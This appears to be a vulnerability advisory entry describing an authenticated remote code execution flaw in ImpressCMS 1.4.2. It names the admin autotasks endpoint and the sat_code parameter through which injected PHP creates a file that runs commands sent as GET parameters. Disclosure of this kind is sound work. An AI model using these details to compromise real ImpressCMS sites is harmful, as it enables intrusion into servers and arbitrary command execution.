Description

ImpressCMS 1.4.2 contains a remote code execution vulnerability in the autotasks administrative interface that allows authenticated attackers to execute arbitrary PHP code by injecting malicious code into the sat_code parameter. Attackers can authenticate, submit a POST request to /modules/system/admin.php?fct=autotasks&op=mod with crafted sat_code containing PHP commands, which creates an executable file that accepts arbitrary commands via GET parameters.
